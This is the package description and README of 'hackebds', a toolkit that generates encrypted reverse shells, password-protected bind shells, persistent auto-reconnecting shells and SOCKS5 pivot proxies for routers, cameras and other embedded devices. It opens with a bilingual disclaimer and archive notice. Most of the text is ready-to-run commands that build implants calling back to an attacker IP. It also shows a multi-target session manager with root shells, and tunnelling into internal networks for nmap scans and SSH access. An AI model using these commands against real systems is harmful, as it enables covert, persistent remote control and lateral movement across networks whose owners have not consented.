Metadata-Version: 2.1
Name: hackebds
Version: 0.4.4
Summary: A security research toolkit for embedded device shellcode generation and vulnerability analysis
License: MIT
Requires-Python: >=3.8
Requires-Dist: pwntools
Requires-Dist: colorama
Requires-Dist: requests
Requires-Dist: multidict
Requires-Dist: fuzzywuzzy
Description-Content-Type: text/markdown

# ⚠️ 免责声明 · DISCLAIMER ⚠️

> ### 🛑 本项目已于 2026 年 7 月起永久停止维护并归档。
> ### 🛑 This project has been permanently discontinued and archived as of July 2026.

> **🎯 目的声明 · Purpose**
> 本工具最初仅为研究嵌入式设备安全、学习漏洞原理及 POC 编写而开发。开发者坚决不支持、不鼓励、不授权任何形式的非法使用。
> This toolkit was originally developed solely for research into embedded device security, learning vulnerability principles, and PoC development. The developer does **not** support, encourage, or authorize any form of illegal use.
>
> **⚖️ 使用责任 · User Responsibility**
> 任何使用本工具代码的行为，均视为使用者已自行承担全部责任。使用者必须确保其使用行为完全遵守所有适用的中国及当地法律法规，并已获得目标系统所有者的明确书面授权。
> Any use of the code from this project is at the user's own risk and sole responsibility. Users must ensure their usage fully complies with all applicable Chinese and local laws and regulations, and that they have obtained **explicit written authorization** from the target system owner.
>
> **📦 项目状态 · Project Status**
> 本项目源代码现已成为历史存档。开发者无法对已被广泛分发、镜像或集成的代码副本进行任何追溯、控制或删除。
> The source code of this project is now a historical archive. The developer is unable to track, control, or delete any copies of the code that have been widely distributed, mirrored, or integrated elsewhere.
>
> **🚫 免责声明 · Disclaimer of Liability**
> 开发者不对因使用、复制、修改或分发本软件而产生的任何直接、间接、偶然或后果性损失承担任何责任。开发者与所有后续的代码分发者或使用者之间，不存在任何形式的关联或连带责任关系。
> The developer shall not be held liable for any direct, indirect, incidental, or consequential damages arising from the use, copying, modification, or distribution of this software. There is **no association or joint liability** between the developer and any subsequent distributors or users of the code.
>
> **🔒 归档声明 · Archive Statement**
> 本仓库已设置为只读归档状态，不再接受任何新的 Issue、Pull Request 或功能更新。
> This repository has been set to a read-only archived state. No new issues, pull requests, or feature updates will be accepted.

> **✅ 安装或使用本软件，即代表你已阅读、理解并同意上述全部条款。本软件按「现状（AS IS）」提供，不附带任何形式的担保；详见 [`LICENSE`](./LICENSE)（MIT）。**
> **✅ By installing or using this software, you acknowledge that you have read, understood, and agreed to all terms above. The software is provided "AS IS", without warranty of any kind; see [`LICENSE`](./LICENSE) (MIT).**

---

# hackebds

A security research toolkit for embedded device shellcode generation, vulnerability analysis, and **SOCKS5 proxy tunneling** with **ChaCha20 end-to-end encryption**.

> Status note: the current tree is now **pure ELF only** for encrypted shell/proxy workflows. Python `-server ...` runtime modes are no longer part of the supported path. Use ELF-to-ELF pairs instead:
> `reverse_shell_file` + `encrypted_shell_server`/`reverse_shell_server`,
> `bind_shell` + `bind_shell_client`,
> `reverse_proxy_file` + `reverse_proxy_server`,
> `forward_proxy_file`.

## Features

- Multi-architecture shellcode generation (ARM, MIPS, PowerPC, SPARC, AArch64, x86/x64, RISC-V)
- Reverse shell and bind shell payloads (standard + persistent fork-based)
- **ChaCha20 encrypted shell** — all shell I/O traffic encrypted end-to-end (6 architectures)
- **ChaCha20 encrypted bind shell** — password-authenticated encrypted bind shell (6 architectures)
- **ChaCha20 encrypted power shell** — persistent reconnecting encrypted shell (6 architectures)
- **SOCKS5 reverse/forward proxy** — pure assembly ELF binaries (~2-5KB)
- **ChaCha20 encrypted SOCKS5 tunnel** — agent-server encrypted proxy (6 architectures)
- **SOCKS5 authentication** — RFC 1929 username/password auth
- Firmware analysis tools
- CVE vulnerability database
- CPU-specific code generation (-mcpu)
- Integration with pwntools

## Supported Architecture Matrix

| Feature | aarch64 | x64 | ARM LE | ARM BE | MIPS | MIPSEL |
|---|:---:|:---:|:---:|:---:|:---:|:---:|
| Encrypted Reverse Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Encrypted Bind Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Encrypted Power Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Encrypted SOCKS5 Proxy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Plain Reverse Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Plain Bind Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Plain SOCKS5 Proxy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |

## Installation

```bash
pip install hackebds

# Or from wheel
pip install hackebds-0.4.0-py3-none-any.whl

# Or development mode
pip install -e .
```

### Cross-compilation tools

```bash
# Required toolchains for target architectures
sudo apt install binutils-aarch64-linux-gnu       # AArch64
sudo apt install binutils-arm-linux-gnueabi        # ARM (v5/v7 LE/BE)
sudo apt install binutils-mips-linux-gnu           # MIPS (BE)
sudo apt install binutils-mipsel-linux-gnu         # MIPSEL (LE)
sudo apt install binutils-x86-64-linux-gnu         # x86_64 (on non-x64 host)
sudo apt install binutils-mips64-linux-gnuabi64    # MIPS64 (optional)
sudo apt install binutils-mips64el-linux-gnuabi64  # MIPS64EL (optional)
sudo apt install binutils-powerpc-linux-gnu        # PowerPC (optional)
sudo apt install binutils-riscv64-linux-gnu        # RISC-V 64 (optional)
```

---

## Encrypted Reverse Shell

ChaCha20-encrypted reverse shell. All stdin/stdout traffic between shell and attacker is encrypted end-to-end using the pipe+fork relay pattern.

```
Target (IoT/Embedded)              Attacker
+-------------------+              +----------------------------+
| Encrypted Shell   |---connect--->| Encrypted Shell Server ELF |
| ELF (~3-7KB)      |  encrypted   | encrypted_shell_server     |
|                   |  ChaCha20    | / reverse_shell_server     |
| pipe+fork relay:  |<------------>| decrypt -> terminal stdout |
| shell <-> encrypt |              | terminal stdin -> encrypt  |
| <-> socket        |              |                            |
+-------------------+              +----------------------------+
```

### Usage

**Step 1:** Generate the encrypted listener ELF on attacker machine:

```bash
hackebds -arch x64 -res reverse_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename rserver

./rserver
```

**Step 2:** Generate the encrypted shell ELF for target architecture:

```bash
# AArch64
hackebds -arch aarch64 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# x86_64
hackebds -arch x64 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (little-endian, v7)
hackebds -arch armelv7 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (big-endian, v7)
hackebds -arch armebv7 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (little-endian, v5)
hackebds -arch armelv5 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# MIPS (big-endian)
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# MIPSEL (little-endian)
hackebds -arch mipsel -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell
```

**Step 3:** Upload and run on target:

```bash
./eshell
# Handler will show encrypted interactive terminal session
```

### Full PTY Terminal Mode (--pty)

Add `--pty` to get a full interactive terminal with tab completion, arrow keys, command history, and colored prompts. Requires `/dev/ptmx` and mounted devpts on target.

```bash
# Generate PTY shell (use /bin/bash for full features)
hackebds -arch aarch64 -res reverse_shell_file --pty \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -shell /bin/bash -filename eshell

# Handler must also use --pty for raw transparent relay
hackebds -server encrypted_shell_reverse --pty \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"
```

**PTY vs Pipe mode comparison:**

| Feature | Default (pipe) | --pty |
|---|---|---|
| Tab completion | No | Yes (with bash) |
| Arrow key history | No | Yes (with bash) |
| Colored prompt | No | Yes |
| Ctrl+C to remote | No | Yes |
| Compatibility | All devices | Needs /dev/ptmx |
| Recommended for | Embedded/IoT | Linux servers |

**Note:** `--pty` requires:
- `/dev/ptmx` device file on target
- devpts filesystem mounted (`/dev/pts/`)
- Most Linux servers and OpenWrt routers have this
- Minimal BusyBox systems may NOT have it — use default pipe mode instead
- Currently supports aarch64; other architectures use pipe mode automatically

---

## Encrypted Bind Shell

Encrypted bind shell with password authentication. The shell listens on a port, requires a password, then provides an encrypted interactive session.

### Usage

**Step 1:** Generate the encrypted bind shell ELF:

```bash
# AArch64
hackebds -arch aarch64 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# x86_64
hackebds -arch x64 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# ARMv7 LE
hackebds -arch armelv7 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# ARMv7 BE
hackebds -arch armebv7 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# MIPS
hackebds -arch mips -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# MIPSEL
hackebds -arch mipsel -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind
```

**Step 2:** Run on target:

```bash
./ebind
```

**Step 3:** Connect from attacker:

```bash
hackebds -server encrypted_shell_bind \
         -reverse_ip <target_ip> -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "my_secret_key"

# Enter password when prompted (transmitted encrypted)
```

---

## Encrypted Persistent Reverse Shell (Power Mode)

Auto-reconnects with fork+sleep, all traffic encrypted. If the connection drops or the handler restarts, the shell will automatically reconnect after the sleep interval.

### Usage

**Step 1:** Generate persistent encrypted reverse shell:

```bash
# AArch64 - reconnect every 10 seconds
hackebds -arch aarch64 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename epshell

# x86_64
hackebds -arch x64 -res reverse_shell_file \
         --power -sleep 5 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename epshell

# ARMv7 LE - for IoT devices
hackebds -arch armelv7 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "iot_key" \
         -filename epshell

# MIPS - for routers
hackebds -arch mips -res reverse_shell_file \
         --power -sleep 15 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key" \
         -filename epshell

# MIPSEL
hackebds -arch mipsel -res reverse_shell_file \
         --power -sleep 5 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename epshell
```

**Step 2:** Handler on attacker (same command for all architectures):

```bash
hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key"
```

**Step 3:** Run on target — shell will reconnect automatically if connection drops:

```bash
./epshell
```

---

## Encrypted SOCKS5 Proxy

ChaCha20-encrypted SOCKS5 reverse proxy tunnel. Agent runs on target, connects back to server on attacker. All agent-server traffic is encrypted.

```
Target (IoT/Embedded)              Attacker
+-----------------+                +------------------+
| Agent ELF       |---connect----->| Server ELF       |
| (MIPS/ARM/etc)  |   encrypted    | (x64/aarch64)    |
|                 |<--SOCKS5------>|                  |
| connects to     |   tunnel       | listens on       |
| internal net    |                | socks_port       |
+-----------------+                +------------------+
                                          |
                                   proxychains/curl
                                          |
                                   access internal net
```

### Basic Usage (No Encryption)

```bash
# 1. Generate server (runs on attacker machine)
hackebds -res reverse_proxy_server -arch x64 \
         -agent_port 8888 -socks_port 1080 \
         -filename server

# 2. Generate agent (runs on target)
hackebds -res reverse_proxy_file -arch mips \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -filename agent

# 3. Run server, then agent
./server    # on attacker
./agent     # on target

# 4. Use proxy
curl --socks5 127.0.0.1:1080 http://internal-target:8080
proxychains4 nmap -sT 192.168.1.0/24
```

### With ChaCha20 Encryption

```bash
# Server (attacker) - aarch64 or x64
hackebds -res reverse_proxy_server -arch aarch64 \
         -agent_port 8888 -socks_port 1080 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename server

# Agent (target) - any architecture, same key
hackebds -res reverse_proxy_file -arch mipsel \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename agent
```

### All Agent Architecture Commands (Encrypted)

```bash
# AArch64 agent
hackebds -arch aarch64 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# x86_64 agent
hackebds -arch x64 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv7 LE agent
hackebds -arch armelv7 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv7 BE agent
hackebds -arch armebv7 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv5 LE agent
hackebds -arch armelv5 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# MIPS BE agent
hackebds -arch mips -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# MIPSEL agent
hackebds -arch mipsel -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent
```

### With SOCKS5 Authentication

```bash
# Server with auth + encryption
hackebds -res reverse_proxy_server -arch x64 \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:secretpass \
         -cipher chacha20 -encrypt_key "key" \
         -filename server

# Client usage with auth
curl --socks5 admin:secretpass@127.0.0.1:1080 http://target:8080

# proxychains.conf
# socks5 127.0.0.1 1080 admin secretpass
```

### Forward Proxy (Direct SOCKS5)

Runs directly on the target, no server needed:

```bash
hackebds -res forward_proxy_file -arch mips \
         -listen_port 1080 -filename proxy

./proxy   # on target
curl --socks5 <target_ip>:1080 http://internal:8080   # from attacker
```

### Python Server Mode

Full-featured Python SOCKS5 server with management CLI:

```bash
hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:pass \
         -cipher chacha20 -encrypt_key "key"

# Management console
hackebds-proxy> status
hackebds-proxy> pool
hackebds-proxy> exit
```

---

## Plain (Non-Encrypted) Shell

### Standard Reverse Shell

```bash
hackebds -res reverse_shell_file -arch mips \
         -reverse_ip 10.10.10.1 -reverse_port 4444 \
         -filename shell
```

### Persistent Reverse Shell (fork-based)

```bash
hackebds -res reverse_shell_file -arch armelv7 \
         -reverse_ip 10.10.10.1 -reverse_port 4444 \
         --power -sleep 5 -filename shell
```

### Plain Bind Shell

```bash
hackebds -res bind_shell -arch aarch64 \
         -bind_port 4444 -passwd secret \
         -filename bshell
```

---

## Encrypted Shell Server (ELF)

Generate a standalone ELF binary to receive encrypted reverse shell connections. Similar to `reverse_proxy_server` but for interactive shell sessions.

```bash
# Generate ELF server (aarch64)
hackebds -arch aarch64 -res encrypted_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename shell_server

# Generate ELF server (x64)
hackebds -arch x64 -res encrypted_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename shell_server

# Run server on attacker, then run shell on target
./shell_server            # on attacker, waits for connection
./eshell                  # on target, connects back
# Server enters interactive mode: type commands, see output
```

---

## Multi-Session Shell Manager

Manage multiple encrypted shell sessions from a single console. Supports tab completion, ghost-text autosuggestion, command history (arrow keys), per-IP session grouping, and power shell auto-dedup.

```bash
# Standalone shell manager
hackebds -server encrypted_shell_manager \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"

# Unified server: SOCKS5 proxy + shell manager in one console
hackebds -server unified \
         -agent_port 8888 -socks_port 1080 \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"
```

### Console Commands

```
hackebds> help                    # Show all commands (supports TAB completion)
hackebds> status                  # Show server status
hackebds> list                    # List active sessions grouped by IP
hackebds> interact <id>           # Enter interactive shell (Ctrl+C to return)
hackebds> kill <id>               # Kill a session
hackebds> maxconn <n>             # Set max sessions per IP (default: 1)
hackebds> notify [on|off]         # Toggle new connection notifications
hackebds> pool                    # Show proxy agent pool (unified mode)
hackebds> exit                    # Stop and exit
```

### Features

- **Tab completion**: type partial command + TAB to complete
- **Ghost-text suggestion**: type `h` and see gray `elp` hint, TAB to accept
- **Command history**: arrow keys ↑↓ to recall previous commands
- **Per-IP grouping**: `list` groups sessions by source IP
- **Power shell dedup**: persistent shells (`--power`) from same IP auto-replace old session, keeping same ID
- **maxconn control**: `maxconn 3` allows up to 3 concurrent sessions per IP

### Example: Multi-target management

```bash
# Terminal 1: Start manager
hackebds -server encrypted_shell_manager \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key"

# Terminal 2: Deploy shells to different targets
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key" \
         -filename router_shell

hackebds -arch armelv7 -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key" \
         -filename camera_shell

# Console output:
#   [+] Shell #1 connected from 192.168.1.1:39201
#   [+] Shell #2 connected from 192.168.1.50:41022
#
#   hackebds> list
#     192.168.1.1  (1 session)
#       #1   port:39201  alive  2026-04-07 22:00:01
#     192.168.1.50  (1 session)
#       #2   port:41022  alive  2026-04-07 22:00:05

# Interact with router:
#   hackebds> interact 1
#   id
#   uid=0(root) ...
#   (Ctrl+C to return)

# Interact with camera:
#   hackebds-shell> interact 2
#   cat /etc/config
#   ...
```

---

## Other Features

### Firmware Analysis

```bash
hackebds -fw firmware.bin
```

### CVE Database

```bash
hackebds -model "RT-AC68U" -s
hackebds -CVE CVE-2023-1234
```

### CPU-Specific Generation

```bash
hackebds -mcpu mips32r2 -li -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 -filename shell

hackebds --mcpu-list  # Show all supported CPUs
```

---

## Complete CLI Reference

```
Resource types (-res):
  reverse_shell_file      Standard or encrypted reverse shell ELF
  reverse_shellcode       Raw reverse shell shellcode
  bind_shell              Standard or encrypted bind shell ELF
  encrypted_shell_server  Encrypted shell server ELF (receive reverse shell)
  cmd_file                Command execution wrapper
  cveinfo                 CVE information lookup
  reverse_proxy_file      SOCKS5 reverse proxy agent ELF
  forward_proxy_file      SOCKS5 forward proxy ELF
  reverse_proxy_server    SOCKS5 reverse proxy server ELF

Architectures (-arch):
  aarch64                 AArch64 / ARM64
  x64                     x86_64 / AMD64
  x86                     x86 32-bit
  armelv5 / armelv7       ARM little-endian (v5 / v7)
  armebv5 / armebv7       ARM big-endian (v5 / v7)
  mips / mipsel           MIPS 32-bit (BE / LE)
  mips64 / mips64el       MIPS 64-bit N64 ABI (BE / LE)
  mipsn32 / mipsn32el     MIPS N32 ABI (BE / LE)
  powerpc / powerpcle     PowerPC 32-bit (BE / LE)
  powerpc64 / powerpc64le PowerPC 64-bit (BE / LE)
  riscv64                 RISC-V 64-bit
  sparc / sparc64         SPARC (32 / 64)
  android                 Android AArch64

Network options:
  -reverse_ip / -lhost    Reverse connection IP
  -reverse_port / -lport  Reverse connection port
  -bind_port / -bind      Bind shell listen port
  -passwd                 Bind shell password (default: 1234)

Proxy options:
  -agent_port             Agent connection port
  -socks_port             SOCKS5 client port (default: 1080)
  -listen_port            Forward proxy listen port
  -socks_auth             SOCKS5 auth as user:password

Encryption options:
  -cipher chacha20        Enable ChaCha20 encryption
  -encrypt_key <key>      Encryption passphrase (required with -cipher)

Shell options:
  -shell                  Shell path (default: /bin/sh, supports /bin/bash)
  --power                 Persistent fork-based mode (auto-reconnect)
  --pty                   Full PTY terminal (tab, arrows; needs /dev/ptmx)
  -sleep                  Reconnect interval in seconds (default: 5)

Server modes (-server):
  unified                  Proxy + shell manager in one console
  socks5_reverse           SOCKS5 reverse proxy server
  encrypted_shell_reverse  Single-session shell handler (reverse)
  encrypted_shell_bind     Single-session shell handler (bind)
  encrypted_shell_manager  Multi-session shell manager

Output:
  -filename / -f          Output filename
  -mcpu                   CPU type for assembly
  --mcpu-list             List all supported CPU types
  -fw / --firmware        Analyze firmware file
```

---

## Practical Examples

### Example 1: Encrypted reverse shell on MIPS router

```bash
# On attacker (start handler first):
hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key_2024"

# Generate MIPS shell for the target router:
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip 192.168.1.100 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key_2024" \
         -filename mips_eshell

# Upload and run on target router -> encrypted interactive shell
```

### Example 2: Encrypted bind shell on ARM camera

```bash
# Generate ARM bind shell for the camera:
hackebds -arch armelv7 -res bind_shell \
         -bind_port 9999 -passwd "cam_pass" \
         -cipher chacha20 -encrypt_key "camera_key" \
         -filename arm_bind

# Upload and run on camera:
./arm_bind

# Connect from attacker:
hackebds -server encrypted_shell_bind \
         -reverse_ip 192.168.1.50 -reverse_port 9999 \
         -cipher chacha20 -encrypt_key "camera_key"
# Type password when "Passwd: " prompt appears
```

### Example 3: Persistent encrypted shell on ARM IoT device

```bash
# Generate persistent encrypted reverse shell (reconnects every 10s):
hackebds -arch armelv7 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip 10.0.0.1 -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "iot_key" \
         -filename arm_persistent

# Handler on attacker:
hackebds -server encrypted_shell_reverse \
         -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "iot_key"

# Shell will auto-reconnect if handler restarts
```

### Example 4: Full encrypted SOCKS5 tunnel through MIPSEL device

```bash
# Generate encrypted MIPSEL agent:
hackebds -arch mipsel -res reverse_proxy_file \
         -reverse_ip 10.0.0.1 -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename mips_agent

# Generate encrypted server (or use Python server):
hackebds -arch aarch64 -res reverse_proxy_server \
         -agent_port 8888 -socks_port 1080 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename server

# Or use Python server with auth:
hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:pass \
         -cipher chacha20 -encrypt_key "tunnel_key"

# Use the tunnel:
curl --socks5 admin:pass@127.0.0.1:1080 http://192.168.1.1/admin
proxychains4 ssh root@192.168.1.1
```

### Example 5: Cross-architecture encrypted proxy (ARM agent + x64 server)

```bash
# x64 server on attacker laptop:
hackebds -arch x64 -res reverse_proxy_server \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth user:pass \
         -cipher chacha20 -encrypt_key "cross_key" \
         -filename x64_server

# ARM BE agent on target device:
hackebds -arch armebv7 -res reverse_proxy_file \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "cross_key" \
         -filename armeb_agent

# Run server, then agent. Use proxy:
./x64_server
# (on target) ./armeb_agent
curl --socks5 user:pass@127.0.0.1:1080 http://internal:8080
```

### Example 6: MIPS64 SOCKS5 proxy for enterprise router

```bash
hackebds -arch mips64 -res reverse_proxy_file \
         -reverse_ip 10.0.0.1 -reverse_port 8888 \
         -filename mips64_agent

hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080
```

---

## How Encryption Works

### ChaCha20 Stream Cipher

- **Key derivation:** passphrase → SHA-256 → 256-bit key
- **Same passphrase on both sides = same key**
- **Two separate nonces** prevent keystream reuse:
  - `nonce=0x01` for server→agent direction
  - `nonce=0x02` for agent→server direction
- **Streaming mode:** maintains position within 64-byte keystream blocks across multiple encrypt/decrypt calls

### Encrypted Shell Data Flow

1. Shell binary connects back (reverse) or listens (bind)
2. For bind shell: sends encrypted "Passwd: " prompt, reads+decrypts password, verifies
3. Creates two pipe pairs for stdin and stdout
4. Forks: child process runs `/bin/sh` with pipes as stdin/stdout
5. Parent process runs encrypted relay loop:
   - Reads from socket → **ChaCha20 decrypt** → writes to shell's stdin pipe
   - Reads from shell's stdout pipe → **ChaCha20 encrypt** → writes to socket
6. Python handler on attacker side does the inverse

### Generated ELF Sizes

| Type | Architecture | Size |
|---|---|---|
| Encrypted Reverse Shell | x64 | ~6.9 KB |
| Encrypted Reverse Shell | aarch64 | ~3.4 KB |
| Encrypted Reverse Shell | ARMv7 | ~3.1 KB |
| Encrypted Reverse Shell | MIPS | ~3.9 KB |
| Encrypted Bind Shell | x64 | ~7.2 KB |
| Encrypted Bind Shell | aarch64 | ~4.0 KB |
| Encrypted Bind Shell | ARMv7 | ~3.7 KB |
| Encrypted Bind Shell | MIPS | ~4.3 KB |
| Encrypted Power Reverse | x64 | ~7.0 KB |
| Proxy Agent (encrypted) | any | ~3.5-5.0 KB |
| Proxy Server (encrypted) | any | ~3.5-5.0 KB |
| Proxy Agent (plain) | any | ~1.5-2.0 KB |

---

## Requirements

- Python >= 3.8
- pwntools
- colorama
- Cross-architecture binutils (for non-native targets, see Installation)

## License

MIT License
